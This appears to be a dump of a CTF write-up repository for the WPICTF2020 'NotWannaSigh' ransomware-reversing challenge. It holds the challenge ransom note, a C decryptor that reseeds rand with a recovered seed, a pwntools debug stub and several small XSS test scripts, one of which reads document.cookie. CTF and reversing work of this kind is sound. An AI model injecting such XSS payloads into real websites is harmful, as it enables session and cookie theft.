/WPICTF2020/NotWannaSigh/NotWannasigh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/NotWannasigh -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/bytes_getting_xored.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/bytes_getting_xored.png -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/flag-gif.EnCiPhErEd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/flag-gif.EnCiPhErEd -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/flag.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/flag.gif -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/listening_at_home.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/listening_at_home.png -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/notwannasighflag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/notwannasighflag.png -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/pcap_seed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Sudoite/ctf-writeups/bb9835f58ea019289e9936971b30db20dbbcc4cb/WPICTF2020/NotWannaSigh/pcap_seed.png -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/ransomNote.txt: -------------------------------------------------------------------------------- 1 | Haha! Your precious file flag.gif has been encrypted by my new and improved ransomware NotWannasigh! You must send bitcoin to "bitpay.com/83768" to get the decryption key. You should act fast because in 48 hours I will delete the key. Muahahahaha! 2 | - def-not-h4ckah 3 | 4 | (Hi, CTF challenge creator here. You should _NEVER_ pay the ransom. If you send bitcoin to that BTC wallet then you will ONLY be donating to charity (and hey, that's really nice of you, Mental Health Hackers is a great organization). I will NOT send you the decryption key) 5 | -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/reverse_notwannasigh.c: -------------------------------------------------------------------------------- 1 | 2 | # include 3 | # include 4 | int main(){ 5 | int file_length; // = 0xd5074; 6 | FILE * rp; 7 | FILE * wp; 8 | //srand(1587317623); 9 | srand(1585599106); 10 | char * encrypted_filename = "/home/ctf/Documents/WPICTF2020/RE/WannaSigh/test/flag-gif.EnCiPhErEd"; 11 | rp = fopen("flag-gif.EnCiPhErEd","rb"); 12 | wp = fopen("flag.gif","wb"); 13 | fseek(rp, 0, SEEK_END); 14 | file_length = ftell(rp); 15 | fseek(rp, 0, SEEK_SET); 16 | for(int i = 0; i < file_length; i++){ 17 | char tmp = rand()%256; 18 | fputc(fgetc(rp)^tmp,wp); 19 | } 20 | fclose(rp); 21 | fclose(wp); 22 | //printf("your integer is %d",1587317623); 23 | //for (int i = 0; i < 0xd5074; i++){ 24 | // printf("i = %d and rand = %x\n",i,rand()%256); 25 | //} 26 | return 0; 27 | } -------------------------------------------------------------------------------- /WPICTF2020/NotWannaSigh/reverse_notwannasigh.py: -------------------------------------------------------------------------------- 1 | 2 | # Reverse NotWannaSigh 3 | from pwn import * 4 | 5 | p = gdb.debug('/home/ctf/Documents/WPICTF2020/RE/WannaSigh/test/NotWannasigh', 6 | ''' 7 | break main 8 | continue 9 | ''') 10 | 11 | p.interactive() 12 | 13 | -------------------------------------------------------------------------------- /scripts/simple_xss.js: -------------------------------------------------------------------------------- 1 | alert(0) -------------------------------------------------------------------------------- /scripts/simple_xss2.js: -------------------------------------------------------------------------------- 1 | alert(0) -------------------------------------------------------------------------------- /scripts/simple_xss3.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() { 2 | alert(0); 3 | }); -------------------------------------------------------------------------------- /scripts/simple_xss4.js: -------------------------------------------------------------------------------- 1 | alert(document.cookie) 2 | --------------------------------------------------------------------------------